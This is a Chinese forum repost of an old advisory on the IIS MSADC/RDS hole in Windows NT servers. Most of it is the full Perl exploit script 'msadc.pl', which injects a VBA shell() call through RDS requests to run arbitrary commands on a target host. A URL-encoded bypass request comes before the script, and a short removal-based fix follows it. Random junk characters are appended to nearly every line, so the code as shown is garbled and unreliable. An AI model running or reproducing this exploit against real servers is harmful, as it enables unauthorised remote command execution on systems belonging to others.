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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) w:%o?pKet1  
O;z,qo X  
涉及程序: ~rlB'8j(  
Microsoft NT server ~?D4[D|sB  
9)y/:sO<P  
描述: _76PIR{an  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 yL%K4$z  
t`WB;o!  
详细: NhfJ30~  
如果你没有时间读详细内容的话,就删除: ||T2~Q*:y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 8 BY j  
有关的安全问题就没有了。 W 0(_ ~  
O*eby*%h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~"!] 3C,L  
AuUd e$l_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Y,GU%[+  
关于利用ODBC远程漏洞的描述,请参看: ks3`3q 7  
TMAJb+@l:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm " W!M[qBW  
XxT#X3D/,"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 qd9cI&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp vqnw#U4`  
+awW3^1Ed  
这里不再论述。 Da&vb D-Bg  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: n1qQ+(xC  
d_AK `wR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset yW+yg{Gg:  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +!k&Yje  
H9KKed47d/  
N8!cO[3Oh  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 8MK>)P o)  
l\BVS)  
#!perl kQ4dwF~  
# +J_c'ChN  
# MSADC/RDS 'usage' (aka exploit) script l/BLUl~z  
# Jpj}@,  
# by rain.forest.puppy b^ L \>3  
# pwO>h>ik  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me CEXyrs<  
# beta test and find errors! 3b*cU}go  
=7-9[{  
use Socket; use Getopt::Std; e8y;.D[2  
getopts("e:vd:h:XR", \%args); j;%-fvd;  
oE<`VY|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Wc,_RN-  
QZ4v/Ou  
if (!defined $args{h} && !defined $args{R}) { x1Lb*3Fe  
print qq~ LG-y]4a}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ICuF %  
-h <host> = host you want to scan (ip or domain) P1zKsY,l$<  
-d <seconds> = delay between calls, default 1 second rW0kA1=E  
-X = dump Index Server path table, if available ZZWD8 AX  
-v = verbose A54N\x,  
-e = external dictionary file for step 5 Dakoqke  
V7GRA#|  
Or a -R will resume a command session xgABpikC^  
rE i Ki  
~; exit;} WxW7qt  
~;Ov-^tp  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 3Th'paMG  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} <!L>Exh&r  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} bQE};wM,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); k xP-,MD  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} uJOJ-5}yt  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } "XB[|#&  
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if (!defined $args{R}){ $ret = &has_msadc; EzDk}uKY0R  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} r9X?PA0f  
Ae mDJ8Y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" JQ}$Aqk  
. "cmd /c "; dODt(J}%  
$in=<STDIN>; chomp $in; #@^t;)|  
$command="cmd /c " . $in ; Z= jr-)kK  
g$( V^  
if (defined $args{R}) {&load; exit;} qi;f^9M%  
q/4YS0CqE  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; I*LknU@  
&try_btcustmr; k:*S&$S!E  
-9"['-WH,  
print "\nStep 2: Trying to make our own DSN..."; 'I_Qb$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; eL^.,H0  
NxjB/N  
print "\nStep 3: Trying known DSNs..."; e&7JpT  
&known_dsn; OTC!wI g  
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print "\nStep 4: Trying known .mdbs..."; k spTp>~  
&known_mdb; !g Z67  
thV>j9'  
if (defined $args{e}){ ;w:M`#2  
print "\nStep 5: Trying dictionary of DSN names..."; Sczc5FG  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } JXCCTUO  
~3WM5 fv  
print "Sorry Charley...maybe next time?\n"; 8dV=[+  
exit; y|CP;:f;  
EPS={w$'s  
############################################################################## :{qv~&+C  
~vs}.kb  
sub sendraw { # ripped and modded from whisker QF{4/y^j{  
sleep($delay); # it's a DoS on the server! At least on mine... ld3-C55  
my ($pstr)=@_; -M%_\;"de  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || [`p=(/I&L  
die("Socket problems\n"); ,$1eFgY%  
if(connect(S,pack "SnA4x8",2,80,$target)){ WtViW=j'  
select(S); $|=1; Z^V6K3GSz-  
print $pstr; my @in=<S>; N5*u]j  
select(STDOUT); close(S); +u!0rLb  
return @in; M(jgd  
} else { die("Can't connect...\n"); }} GN-mrQo  
x 8Retuv  
############################################################################## i7ISX>%  
kjEEuEv  
sub make_header { # make the HTTP request 5nv<^>[J  
my $msadc=<<EOT |_o=^?z'  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 R>,:A%?^b5  
User-Agent: ACTIVEDATA &n6$rBr %  
Host: $ip i-bJS6  
Content-Length: $clen wB.Nn/p  
Connection: Keep-Alive K) qF+Vb^j  
ZX5xF<os8  
ADCClientVersion:01.06 cs T2B[f9D  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  $rz=6h  
^\\Tx*#i  
--!ADM!ROX!YOUR!WORLD! GKvN* SU=  
Content-Type: application/x-varg @kk4]:,w  
Content-Length: $reqlen ojQI7 Uhw  
{LX.iH9}l  
EOT  Mu2  
; $msadc=~s/\n/\r\n/g; Sl-v W  
return $msadc;} ,oaw0Vw  
z74in8]  
############################################################################## {z(xFrY  
.uyGYj-C  
sub make_req { # make the RDS request YGv<VOWG2  
my ($switch, $p1, $p2)=@_; &8%e\W\K:/  
my $req=""; my $t1, $t2, $query, $dsn; f@8>HCI  
xZ|Y ?R5m  
if ($switch==1){ # this is the btcustmr.mdb query GytXFL3`:  
$query="Select * from Customers where City=" . make_shell(); jov:]Bic  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }| J79s2M  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {Z3dF)>  
F;=4vS]\  
elsif ($switch==2){ # this is general make table query "`M?R;DH  
$query="create table AZZ (B int, C varchar(10))"; >tO`r.5u9  
$dsn="$p1";} nA P.^_K  
L,mQ   
elsif ($switch==3){ # this is general exploit table query PH?#)l D  
$query="select * from AZZ where C=" . make_shell(); } @K FB  
$dsn="$p1";} hF@Gn/  
[[>wB[w  
elsif ($switch==4){ # attempt to hork file info from index server I4i2+ *l}  
$query="select path from scope()"; *g y{]  
$dsn="Provider=MSIDXS;";} j7sKsbb  
0G7K8`a  
elsif ($switch==5){ # bad query >=UF-xk;  
$query="select"; w=LP"bqlI  
$dsn="$p1";} 2>86oP&  
 `)GrwfC  
$t1= make_unicode($query); {]E+~%Va  
$t2= make_unicode($dsn); e&>;*$)  
$req = "\x02\x00\x03\x00"; h3*Zfl<]  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3pK*~VK  
$req.= "\x00\x00" . $t1 ; L:_bg8eD#  
$req.= "\x08\x00" . pack ("S1", length($t2)); LbaK={tR  
$req.= "\x00\x00" . $t2 ; ogL EtqT  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; jV? }9L^;  
return $req;} PQK(0iCo4  
k]5Bykf`Ky  
############################################################################## q4}PM[K?=\  
Qtbbb3m;  
sub make_shell { # this makes the shell() statement fO0(Z  
return "'|shell(\"$command\")|'";} F1jglH/MF)  
+n<k)E@>J  
############################################################################## ~_Lr=CD;4  
R2(3 >`FJ  
sub make_unicode { # quick little function to convert to unicode Z^]|o<.<I  
my ($in)=@_; my $out; DyeQJ7p  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } @J5Jpt*IE  
return $out;} zX0md x<|<  
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############################################################################## A5i:x$ww  
ccLq+a|  
sub rdo_success { # checks for RDO return success (this is kludge) 9G{;?c  
my (@in) = @_; my $base=content_start(@in); *xON W  
if($in[$base]=~/multipart\/mixed/){ %F:)5gT?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} EhO|~A*R  
return 0;} E<C&Cjz:H  
U Z|HJ8_  
############################################################################## dbOdq  
FXzFHU/dP  
sub make_dsn { # this makes a DSN for us :6zG7qES3  
my @drives=("c","d","e","f"); %{/%mJoX  
print "\nMaking DSN: "; Eh =~T9  
foreach $drive (@drives) { ^s@8VAwi  
print "$drive: "; c)A{p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . P>sFV  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +T=(6dr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); &g.@u~SI1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; z]2]XTmWs  
return 0 if $2 eq "404"; # not found/doesn't exist i&vaeP25)  
if($2 eq "200") { v.:3"<ur}  
foreach $line (@results) { uu}x@T@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} '=1KVE^Fk  
} return 0;} Q %wY  
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############################################################################## ' Hi : 2Wh  
W-.pmU e2  
sub verify_exists { :$_6SQ<?  
my ($page)=@_; H}H7lO  
my @results=sendraw("GET $page HTTP/1.0\n\n"); N nk@h  
return $results[0];} mcn 2Wt  
m=:4`_0Q  
############################################################################## 8E4mA5@   
`2`\]X_A{  
sub try_btcustmr { ] )F7)  
my @drives=("c","d","e","f"); !'j?.F $}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K-f1{ 0  
`;l?12|X  
foreach $dir (@dirs) { zoDH` h_  
print "$dir -> "; # fun status so you can see progress yuDZ~0]R  
foreach $drive (@drives) { K"b`#xN(t  
print "$drive: "; # ditto ZR$'u%+g'  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1fo U  
$reqlenlen=length( "$reqlen" ); rp6q?3=g  
$clen= 206 + $reqlenlen + $reqlen; +&Hr4@pgW  
jMbC Y07v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); o$[z],RO  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Pl<; [cB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} u{FDdR9<  
E[O<S B I  
############################################################################## zCOgBT~p   
X^\> :<  
sub odbc_error { t9Y=m6  
my (@in)=@_; my $base; P%#*-zCCx  
my $base = content_start(@in); Vpr/  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this KAsS [  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *1 G>YH  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p_UlK8rb  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uA$<\fnz  
return $in[$base+4].$in[$base+5].$in[$base+6];} m85WA # `  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ?x+Z)`w_  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =) E,8L  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m$9w"8R  
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############################################################################## Z0`T\ay  
W`"uu.~f  
sub verbose { +uBLk0/)>  
my ($in)=@_; "wlt> SU  
return if !$verbose;  f>s?4  
print STDOUT "\n$in\n";} r}0\}~'?c  
?H_ LX;r  
############################################################################## [! 'op0  
2P]L9'N{Y  
sub save { CH fVQ|!\  
my ($p1, $p2, $p3, $p4)=@_; :>aQ~1f>]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `xz<>g9e  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; / }Rz=&  
close OUT;} }lK3-2Pk  
T ]j.=|,d  
############################################################################## Wd0 [%`dq  
]c&<zeX,  
sub load { 4GR!y)  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {8R"O{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ATy*^sc&"  
@p=<IN>; close(IN); <BSc* 9Q  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); P_c,BlfGMH  
$target= inet_aton($ip) || die("inet_aton problems"); uZZU{U9h  
print "Resuming to $ip ..."; 7},)]da>,'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; n39t}`WIl  
if($p[1]==1) { .TE?KI   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; R/^u/~<  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >XOiu#kC  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); U|HB=BP  
if (rdo_success(@results)){print "Success!\n";} LGc&o]k  
else { print "failed\n"; verbose(odbc_error(@results));}} ~>0qZ{3J_  
elsif ($p[1]==3){ Hg9CZM ko  
if(run_query("$p[3]")){ h(qQsxIOhS  
print "Success!\n";} else { print "failed\n"; }} pDQ}*   
elsif ($p[1]==4){ l c_E!"1  
if(run_query($drvst . "$p[3]")){ pA;-v MpMj  
print "Success!\n"; } else { print "failed\n"; }}  e(NLX`  
exit;} `]LSbS  
{QbvR*gv  
############################################################################## or k=`};  
AW#<i_Ybf  
sub create_table { XyMG.r-,  
my ($in)=@_; x!_<z''  
$reqlen=length( make_req(2,$in,"") ) - 28; 4lqH8l.  
$reqlenlen=length( "$reqlen" );  6l$L~>  
$clen= 206 + $reqlenlen + $reqlen; QZX~T|Ckv  
my @results=sendraw(make_header() . make_req(2,$in,"")); BS&;n  
return 1 if rdo_success(@results); Cda!Mk:  
my $temp= odbc_error(@results); verbose($temp); \uME+NF  
return 1 if $temp=~/Table 'AZZ' already exists/; +[J/Zw0{  
return 0;} EZ.!rh~+  
BYY RoE[P  
############################################################################## : L_BG)dM  
aF|d^  
sub known_dsn { `z0{S!  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go XE3'`D !  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 5/gDK+%4D(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", dq IlD!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); eZr&x~] -w  
=<@\,xN>C  
foreach $dSn (@dsns) { _SACqamo5s  
print "."; JlKM+UE :  
next if (!is_access("DSN=$dSn")); AF43$6KZP$  
if(create_table("DSN=$dSn")){ ubu?S%`  
print "$dSn successful\n"; &TG5rUUg  
if(run_query("DSN=$dSn")){ 7O`o ovW$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { W23]Bx  
print "Something's borked. Use verbose next time\n";}}} print "\n";} SEl#FWR  
u*7Z~R  
############################################################################## kkvtB<<Y  
\([WH!7  
sub is_access { r-kMLw/)  
my ($in)=@_; GHF_R,7  
$reqlen=length( make_req(5,$in,"") ) - 28; >/<:Q  &  
$reqlenlen=length( "$reqlen" ); v(l eide  
$clen= 206 + $reqlenlen + $reqlen; 6DL[ aD  
my @results=sendraw(make_header() . make_req(5,$in,"")); ES<{4<Kpx  
my $temp= odbc_error(@results); W>M~Sk$v  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); VD4C::J  
return 0;} FuX 8v  
dY" }\v6  
############################################################################## ~|wos-nM  
i)Lp7m z  
sub run_query { [!^-J}^g~\  
my ($in)=@_; 4yaxl\2  
$reqlen=length( make_req(3,$in,"") ) - 28; T\VNqs@  
$reqlenlen=length( "$reqlen" ); 55t\Bms{  
$clen= 206 + $reqlenlen + $reqlen; l7JY]?p  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5 cK@WE:  
return 1 if rdo_success(@results); JaWv]@9*  
my $temp= odbc_error(@results); verbose($temp); M}0eu(_|  
return 0;} 7ou46v|m5  
VGw(6`|!  
############################################################################## M}DH5H"s  
@c'|Iqy`  
sub known_mdb { .bf<<+'o  
my @drives=("c","d","e","f","g"); 9kKnAf4Z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ufo>|A6;$  
my $dir, $drive, $mdb; 5FC4@Ms`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2JmZ{  
1\dn 1Hh  
# this is sparse, because I don't know of many 4gdY`}8b^}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", /w]&t\]*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", bg?"ILpk  
"\\system32\\certmdb.mdb", I\\QS.2  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% FVF-:C  
>EXb|vw   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", v&g0ta@  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -~)OF  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", g8ES8S M  
"\\cfusion\\cfapps\\security\\realm_.mdb", rZbEvS  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %Y4e9T".  
"\\cfusion\\database\\cfexamples.mdb", [ neXFp}S  
"\\cfusion\\database\\cfsnippets.mdb", ~un%4]U  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |m,VTViv;i  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?p[O%_Xf  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r^HA aGpC  
"\\cfusion\\database\\smpolicy.mdb", &"uV~AM  
"\\cfusion\\database\cypress.mdb", w W$(r-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ovf/;Q/}  
"\\website\\cgi-win\\dbsample.mdb", ;]CVb`d  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", GR'Ti*Qi  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" r)1Z(tl  
); #these are just L6 6-LMkH  
foreach $drive (@drives) { +TN9ujL6@  
foreach $dir (@dirs){ tJ& 5tNl  
foreach $mdb (@sysmdbs) { A%Z)wz{  
print "."; 7s'- +~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $e\N+~KNCy  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; lS{r=y_0.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ kvsA]tK.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; v7trr W}  
} else { print "Something's borked. Use verbose next time\n"; }}}}} {bF1\S]2  
0)uYizJce  
foreach $drive (@drives) { Y9r3XhVI  
foreach $mdb (@mdbs) { }bB` (B,m  
print "."; h3u1K>R)  
if(create_table($drv . $drive . $dir . $mdb)){ ]_*S~'x  
print "\n" . $drive . $dir . $mdb . " successful\n"; ED![^=  
if(run_query($drv . $drive . $dir . $mdb)){ ARh6V&Hi-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; w#G2-?aj  
} else { print "Something's borked. Use verbose next time\n"; }}}} @?B6aD|jE  
} Q^eJ4{Ya:  
E@QA".  
############################################################################## |bZM/U=  
m.%`4L^`T  
sub hork_idx { T bE:||r?^  
print "\nAttempting to dump Index Server tables...\n"; lx,`hl%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; F=@i6ERi  
$reqlen=length( make_req(4,"","") ) - 28; `?s.\Dh  
$reqlenlen=length( "$reqlen" ); }GHxG9!z  
$clen= 206 + $reqlenlen + $reqlen; US?Rr  
my @results=sendraw2(make_header() . make_req(4,"","")); ~el-*=<m  
if (rdo_success(@results)){ _JGs}aQ  
my $max=@results; my $c; my %d; Yq'4e[i  
for($c=19; $c<$max; $c++){ ~krS#\  
$results[$c]=~s/\x00//g; ?~ULIO'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9$d.P6|d>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }4c/YP"a'E  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; M<8ML!N0;t  
$d{"$1$2"}="";} )JgC$ <  
foreach $c (keys %d){ print "$c\n"; } |qjZ38;6  
} else {print "Index server doesn't seem to be installed.\n"; }} #I\Y= XCY  
R U!?-#*  
############################################################################## z YDK $  
eS!C3xC;J]  
sub dsn_dict { "/%89 HMD  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *07sK1wW  
while(<IN>){ &d$~6'x*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  u>cC O'q  
next if (!is_access("DSN=$dSn")); 6p<`h^  
if(create_table("DSN=$dSn")){ hol<dB  
print "$dSn successful\n"; eG] a zt  
if(run_query("DSN=$dSn")){ wODvc9p}]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hCc0sRp  
print "Something's borked. Use verbose next time\n";}}} lxb8xY  
print "\n"; close(IN);} QocQowz  
D$Kea  
############################################################################## H/cTJ9zz  
$Tl<V/  
sub sendraw2 { # ripped and modded from whisker k khE}qSD  
sleep($delay); # it's a DoS on the server! At least on mine... RR25Q. c  
my ($pstr)=@_; Y_H/3?b%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ky9W/dCR  
die("Socket problems\n"); -Wjh**  
if(connect(S,pack "SnA4x8",2,80,$target)){ K}x/ BhE+  
print "Connected. Getting data"; yqcM(,0]  
open(OUT,">raw.out"); my @in; tEhr  
select(S); $|=1; print $pstr; lH1g[ ))  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ( )|3  
close(OUT); select(STDOUT); close(S); return @in; Gbb \h  
} else { die("Can't connect...\n"); }} !*a[jhx  
[e4![G&y`  
############################################################################## 6$ e]i|e  
G%hO\EO  
sub content_start { # this will take in the server headers wly>H]i'  
my (@in)=@_; my $c; 8 $ ~3ra  
for ($c=1;$c<500;$c++) { jUY+3"?   
if($in[$c] =~/^\x0d\x0a/){ ( tn< VK.  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } h`?k.{})M  
else { return $c+1; }}} !$kR ;Q"/  
return -1;} # it should never get here actually jXcNAl  
B?(4f2yE  
############################################################################## , {<Fz%  
ToU.mM?f^  
sub funky { #8?^C]*{0  
my (@in)=@_; my $error=odbc_error(@in); };SV!'9s?~  
if($error=~/ADO could not find the specified provider/){ YOw?'+8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :EB,{|m  
exit;} dB)9K)  
if($error=~/A Handler is required/){ %,?vyY  
print "\nServer has custom handler filters (they most likely are patched)\n"; #<#%>Y^  
exit;} ZgF/;8!~V-  
if($error=~/specified Handler has denied Access/){ 76MsrOv55  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1_3?R }$Wl  
exit;}} LZV}U*  
/yK"t< p  
############################################################################## @36S}5Oa  
zh?4K*>.k  
sub has_msadc { v ($L  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); BI/y<6#rR  
my $base=content_start(@results); ~gt3Omh  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?aJ6ug  
return 0;} xwLy|&  
IK?]PmN4}  
######################## plku-O;]  
dQ6GhS ~  
Mo|yv[(K ,  
解决方案: jsWX 6(=  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll YN^jm  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2FT-}w0;  
#~e9h9  
拿出来充数 哈哈
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